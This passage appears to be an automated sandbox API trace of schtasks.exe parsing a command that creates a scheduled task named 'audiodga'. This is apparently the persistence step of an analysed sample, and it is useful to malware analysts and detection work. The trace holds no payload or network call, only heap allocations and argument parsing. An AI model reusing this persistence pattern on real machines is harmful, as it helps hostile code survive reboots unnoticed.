GetProcessHeap () returned 0x390000 [0069.896] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abb30 [0069.896] GetProcessHeap () returned 0x390000 [0069.896] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5ae0 [0069.897] GetProcessHeap () returned 0x390000 [0069.897] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5b10 [0069.897] GetProcessHeap () returned 0x390000 [0069.897] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5b40 [0069.897] GetProcessHeap () returned 0x390000 [0069.897] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5b70 [0069.897] GetProcessHeap () returned 0x390000 [0069.897] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abb50 [0069.897] GetProcessHeap () returned 0x390000 [0069.897] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5ba0 [0069.897] GetProcessHeap () returned 0x390000 [0069.897] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5bd0 [0069.897] GetProcessHeap () returned 0x390000 [0069.897] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5c00 [0069.897] GetProcessHeap () returned 0x390000 [0069.897] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5c30 [0069.897] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.897] SetLastError (dwErrCode=0x0) [0069.897] GetProcessHeap () returned 0x390000 [0069.897] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5c60 [0069.897] GetProcessHeap () returned 0x390000 [0069.897] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5c90 [0069.897] GetProcessHeap () returned 0x390000 [0069.897] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5cc0 [0069.897] GetProcessHeap () returned 0x390000 [0069.897] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5cf0 [0069.897] GetProcessHeap () returned 0x390000 [0069.897] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5d20 [0069.897] GetProcessHeap () returned 0x390000 [0069.897] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abb70 [0069.897] _memicmp (_Buf1=0x3abb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.898] GetProcessHeap () returned 0x390000 [0069.898] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x208) returned 0x3abd10 [0069.898] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3abd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0069.898] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0069.900] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0069.900] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0069.901] GetProcessHeap () returned 0x390000 [0069.901] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x74e) returned 0x3ac2e0 [0069.901] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0069.901] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3ac2e0 | out: lpData=0x3ac2e0) returned 1 [0069.901] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0069.901] VerQueryValueW (in: pBlock=0x3ac2e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ff6a8, puLen=0x1ff710 | out: lplpBuffer=0x1ff6a8*=0x3ac67c, puLen=0x1ff710) returned 1 [0069.903] _memicmp (_Buf1=0x3abb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.903] _vsnwprintf (in: _Buffer=0x3abd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1ff688 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0069.903] VerQueryValueW (in: pBlock=0x3ac2e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1ff718, puLen=0x1ff708 | out: lplpBuffer=0x1ff718*=0x3ac4a8, puLen=0x1ff708) returned 1 [0069.903] lstrlenW (lpString="schtasks.exe") returned 12 [0069.903] lstrlenW (lpString="schtasks.exe") returned 12 [0069.903] lstrlenW (lpString=".EXE") returned 4 [0069.903] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0069.907] lstrlenW (lpString="schtasks.exe") returned 12 [0069.907] lstrlenW (lpString=".EXE") returned 4 [0069.907] _memicmp (_Buf1=0x3abb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.907] lstrlenW (lpString="schtasks") returned 8 [0069.907] GetProcessHeap () returned 0x390000 [0069.907] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5e10 [0069.907] GetProcessHeap () returned 0x390000 [0069.907] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acbf0 [0069.907] GetProcessHeap () returned 0x390000 [0069.907] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acc20 [0069.907] GetProcessHeap () returned 0x390000 [0069.907] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acc50 [0069.907] GetProcessHeap () returned 0x390000 [0069.907] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abb90 [0069.907] _memicmp (_Buf1=0x3abb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.907] GetProcessHeap () returned 0x390000 [0069.907] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xa0) returned 0x3ac110 [0069.907] GetProcessHeap () returned 0x390000 [0069.907] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acc80 [0069.907] GetProcessHeap () returned 0x390000 [0069.907] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3accb0 [0069.907] GetProcessHeap () returned 0x390000 [0069.907] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acce0 [0069.907] GetProcessHeap () returned 0x390000 [0069.908] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abbb0 [0069.908] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.908] GetProcessHeap () returned 0x390000 [0069.908] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x200) returned 0x3ad3c0 [0069.908] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0069.908] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0069.908] GetProcessHeap () returned 0x390000 [0069.908] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x30) returned 0x3a7b80 [0069.908] _vsnwprintf (in: _Buffer=0x3ac110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1ff688 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0069.908] GetProcessHeap () returned 0x390000 [0069.908] GetProcessHeap () returned 0x390000 [0069.908] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac2e0) returned 1 [0069.908] GetProcessHeap () returned 0x390000 [0069.908] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac2e0) returned 0x74e [0069.909] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac2e0 | out: hHeap=0x390000) returned 1 [0069.909] SetLastError (dwErrCode=0x0) [0069.909] GetThreadLocale () returned 0x409 [0069.909] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.910] lstrlenW (lpString="?") returned 1 [0069.910] GetThreadLocale () returned 0x409 [0069.910] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.910] lstrlenW (lpString="create") returned 6 [0069.910] GetThreadLocale () returned 0x409 [0069.910] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.910] lstrlenW (lpString="delete") returned 6 [0069.910] GetThreadLocale () returned 0x409 [0069.910] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.910] lstrlenW (lpString="query") returned 5 [0069.910] GetThreadLocale () returned 0x409 [0069.910] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.910] lstrlenW (lpString="change") returned 6 [0069.910] GetThreadLocale () returned 0x409 [0069.910] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.910] lstrlenW (lpString="run") returned 3 [0069.910] GetThreadLocale () returned 0x409 [0069.910] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.910] lstrlenW (lpString="end") returned 3 [0069.910] GetThreadLocale () returned 0x409 [0069.910] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.910] lstrlenW (lpString="showsid") returned 7 [0069.910] GetThreadLocale () returned 0x409 [0069.910] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.910] SetLastError (dwErrCode=0x0) [0069.910] SetLastError (dwErrCode=0x0) [0069.910] lstrlenW (lpString="/create") returned 7 [0069.910] lstrlenW (lpString="-/") returned 2 [0069.910] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.910] lstrlenW (lpString="?") returned 1 [0069.910] lstrlenW (lpString="?") returned 1 [0069.910] GetProcessHeap () returned 0x390000 [0069.910] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3ac1c0 [0069.911] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.911] GetProcessHeap () returned 0x390000 [0069.911] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xa) returned 0x3ac2e0 [0069.911] lstrlenW (lpString="create") returned 6 [0069.911] GetProcessHeap () returned 0x390000 [0069.911] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3ac300 [0069.911] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.911] GetProcessHeap () returned 0x390000 [0069.911] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x14) returned 0x3ac320 [0069.911] _vsnwprintf (in: _Buffer=0x3ac2e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|?|") returned 3 [0069.911] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|create|") returned 8 [0069.911] lstrlenW (lpString="|?|") returned 3 [0069.911] lstrlenW (lpString="|create|") returned 8 [0069.911] SetLastError (dwErrCode=0x490) [0069.911] lstrlenW (lpString="create") returned 6 [0069.911] lstrlenW (lpString="create") returned 6 [0069.911] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.911] GetProcessHeap () returned 0x390000 [0069.911] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac2e0) returned 1 [0069.911] GetProcessHeap () returned 0x390000 [0069.911] RtlReAllocateHeap (Heap=0x390000, Flags=0xc, Ptr=0x3ac2e0, Size=0x14) returned 0x3ac340 [0069.911] lstrlenW (lpString="create") returned 6 [0069.911] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.912] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|create|") returned 8 [0069.912] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|create|") returned 8 [0069.912] lstrlenW (lpString="|create|") returned 8 [0069.912] lstrlenW (lpString="|create|") returned 8 [0069.912] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0069.912] SetLastError (dwErrCode=0x0) [0069.912] SetLastError (dwErrCode=0x0) [0069.912] SetLastError (dwErrCode=0x0) [0069.912] lstrlenW (lpString="/tn") returned 3 [0069.912] lstrlenW (lpString="-/") returned 2 [0069.912] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.912] lstrlenW (lpString="?") returned 1 [0069.912] lstrlenW (lpString="?") returned 1 [0069.912] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.912] lstrlenW (lpString="tn") returned 2 [0069.912] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.912] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|?|") returned 3 [0069.912] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tn|") returned 4 [0069.912] lstrlenW (lpString="|?|") returned 3 [0069.912] lstrlenW (lpString="|tn|") returned 4 [0069.912] SetLastError (dwErrCode=0x490) [0069.914] lstrlenW (lpString="create") returned 6 [0069.914] lstrlenW (lpString="create") returned 6 [0069.914] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.914] lstrlenW (lpString="tn") returned 2 [0069.914] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.914] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|create|") returned 8 [0069.914] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tn|") returned 4 [0069.914] lstrlenW (lpString="|create|") returned 8 [0069.914] lstrlenW (lpString="|tn|") returned 4 [0069.914] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0069.914] SetLastError (dwErrCode=0x490) [0069.914] lstrlenW (lpString="delete") returned 6 [0069.914] lstrlenW (lpString="delete") returned 6 [0069.914] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.914] lstrlenW (lpString="tn") returned 2 [0069.914] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.914] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|delete|") returned 8 [0069.914] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tn|") returned 4 [0069.914] lstrlenW (lpString="|delete|") returned 8 [0069.914] lstrlenW (lpString="|tn|") returned 4 [0069.914] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0069.914] SetLastError (dwErrCode=0x490) [0069.914] lstrlenW (lpString="query") returned 5 [0069.914] lstrlenW (lpString="query") returned 5 [0069.914] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.915] lstrlenW (lpString="tn") returned 2 [0069.915] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.915] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|query|") returned 7 [0069.915] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tn|") returned 4 [0069.915] lstrlenW (lpString="|query|") returned 7 [0069.915] lstrlenW (lpString="|tn|") returned 4 [0069.915] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0069.915] SetLastError (dwErrCode=0x490) [0069.915] lstrlenW (lpString="change") returned 6 [0069.915] lstrlenW (lpString="change") returned 6 [0069.915] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.915] lstrlenW (lpString="tn") returned 2 [0069.915] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.915] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|change|") returned 8 [0069.915] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tn|") returned 4 [0069.915] lstrlenW (lpString="|change|") returned 8 [0069.915] lstrlenW (lpString="|tn|") returned 4 [0069.915] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0069.915] SetLastError (dwErrCode=0x490) [0069.915] lstrlenW (lpString="run") returned 3 [0069.915] lstrlenW (lpString="run") returned 3 [0069.915] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.915] lstrlenW (lpString="tn") returned 2 [0069.915] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.915] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|run|") returned 5 [0069.915] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tn|") returned 4 [0069.915] lstrlenW (lpString="|run|") returned 5 [0069.916] lstrlenW (lpString="|tn|") returned 4 [0069.916] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0069.916] SetLastError (dwErrCode=0x490) [0069.916] lstrlenW (lpString="end") returned 3 [0069.916] lstrlenW (lpString="end") returned 3 [0069.916] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.916] lstrlenW (lpString="tn") returned 2 [0069.916] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.916] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|end|") returned 5 [0069.916] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tn|") returned 4 [0069.916] lstrlenW (lpString="|end|") returned 5 [0069.916] lstrlenW (lpString="|tn|") returned 4 [0069.916] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0069.916] SetLastError (dwErrCode=0x490) [0069.916] lstrlenW (lpString="showsid") returned 7 [0069.916] lstrlenW (lpString="showsid") returned 7 [0069.916] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.916] GetProcessHeap () returned 0x390000 [0069.916] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac340) returned 1 [0069.916] GetProcessHeap () returned 0x390000 [0069.916] RtlReAllocateHeap (Heap=0x390000, Flags=0xc, Ptr=0x3ac340, Size=0x16) returned 0x3ac340 [0069.916] lstrlenW (lpString="tn") returned 2 [0069.916] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.916] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|showsid|") returned 9 [0069.916] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|tn|") returned 4 [0069.916] lstrlenW (lpString="|showsid|") returned 9 [0069.917] lstrlenW (lpString="|tn|") returned 4 [0069.917] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0069.917] SetLastError (dwErrCode=0x490) [0069.917] SetLastError (dwErrCode=0x490) [0069.917] SetLastError (dwErrCode=0x0) [0069.917] lstrlenW (lpString="/tn") returned 3 [0069.917] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0069.917] SetLastError (dwErrCode=0x490) [0069.917] SetLastError (dwErrCode=0x0) [0069.917] lstrlenW (lpString="/tn") returned 3 [0069.917] GetProcessHeap () returned 0x390000 [0069.917] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x8) returned 0x3ac2e0 [0069.917] GetProcessHeap () returned 0x390000 [0069.917] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acd10 [0069.917] SetLastError (dwErrCode=0x0) [0069.917] SetLastError (dwErrCode=0x0) [0069.917] lstrlenW (lpString="audiodga") returned 8 [0069.917] lstrlenW (lpString="-/") returned 2 [0069.917] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0069.917] SetLastError (dwErrCode=0x490) [0069.917] SetLastError (dwErrCode=0x490) [0069.917] SetLastError (dwErrCode=0x0) [0069.917] lstrlenW (lpString="audiodga") returned 8 [0069.917] StrChrIW (lpStart="audiodga", wMatch=0x3a) returned 0x0 [0069.917] SetLastError (dwErrCode=0x490) [0069.917] SetLastError (dwErrCode=0x0) [0069.917] lstrlenW (lpString="audiodga") returned 8 [0069.917] GetProcessHeap () returned 0x390000 [0069.917] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x12) returned 0x3ac370 [0069.917] GetProcessHeap () returned 0x390000 [0069.917] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acd40 [0069.917] SetLastError (dwErrCode=0x0) [0069.917] SetLastError (dwErrCode=0x0) [0069.917] lstrlenW (lpString="/sc") returned 3 [0069.917] lstrlenW (lpString="-/") returned 2 [0069.918] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.918] lstrlenW (lpString="?") returned 1 [0069.918] lstrlenW (lpString="?") returned 1 [0069.918] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.918] lstrlenW (lpString="sc") returned 2 [0069.918] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.918] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|?|") returned 3 [0069.918] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|sc|") returned 4 [0069.918] lstrlenW (lpString="|?|") returned 3 [0069.918] lstrlenW (lpString="|sc|") returned 4 [0069.918] SetLastError (dwErrCode=0x490) [0069.918] lstrlenW (lpString="create") returned 6 [0069.918] lstrlenW (lpString="create") returned 6 [0069.918] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.918] lstrlenW (lpString="sc") returned 2 [0069.918] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.918] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|create|") returned 8 [0069.918] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|sc|") returned 4 [0069.918] lstrlenW (lpString="|create|") returned 8 [0069.918] lstrlenW (lpString="|sc|") returned 4 [0069.918] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0069.918] SetLastError (dwErrCode=0x490) [0069.918] lstrlenW (lpString="delete") returned 6 [0069.918] lstrlenW (lpString="delete") returned 6 [0069.918] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.918] lstrlenW (lpString="sc") returned 2 [0069.918] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.918] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|delete|") returned 8 [0069.918] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|sc|") returned 4 [0069.919] lstrlenW (lpString="|delete|") returned 8 [0069.919] lstrlenW (lpString="|sc|") returned 4 [0069.919] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0069.919] SetLastError (dwErrCode=0x490) [0069.919] lstrlenW (lpString="query") returned 5 [0069.919] lstrlenW (lpString="query") returned 5 [0069.919] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.919] lstrlenW (lpString="sc") returned 2 [0069.919] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.919] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|query|") returned 7 [0069.919] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|sc|") returned 4 [0069.919] lstrlenW (lpString="|query|") returned 7 [0069.919] lstrlenW (lpString="|sc|") returned 4 [0069.919] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0069.919] SetLastError (dwErrCode=0x490) [0069.919] lstrlenW (lpString="change") returned 6 [0069.919] lstrlenW (lpString="change") returned 6 [0069.919] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.919] lstrlenW (lpString="sc") returned 2 [0069.919] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.919] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|change|") returned 8 [0069.919] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|sc|") returned 4 [0069.919] lstrlenW (lpString="|change|") returned 8 [0069.919] lstrlenW (lpString="|sc|") returned 4 [0069.919] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0069.919] SetLastError (dwErrCode=0x490) [0069.919] lstrlenW (lpString="run") returned 3 [0069.919] lstrlenW (lpString="run") returned 3 [0069.919] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.920] lstrlenW (lpString="sc") returned 2 [0069.920] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.920] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|run|") returned 5 [0069.920] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|sc|") returned 4 [0069.920] lstrlenW (lpString="|run|") returned 5 [0069.920] lstrlenW (lpString="|sc|") returned 4 [0069.920] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0069.920] SetLastError (dwErrCode=0x490) [0069.920] lstrlenW (lpString="end") returned 3 [0069.920] lstrlenW (lpString="end") returned 3 [0069.920] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.920] lstrlenW (lpString="sc") returned 2 [0069.920] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.920] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|end|") returned 5 [0069.920] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff698 | out: _Buffer="|sc|") returned 4 [0069.920] lstrlenW (lpString="|end|") returned 5 [0069.920] lstrlenW (lpString="|sc|") returned 4 [0069.920] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0069.920] SetLastError 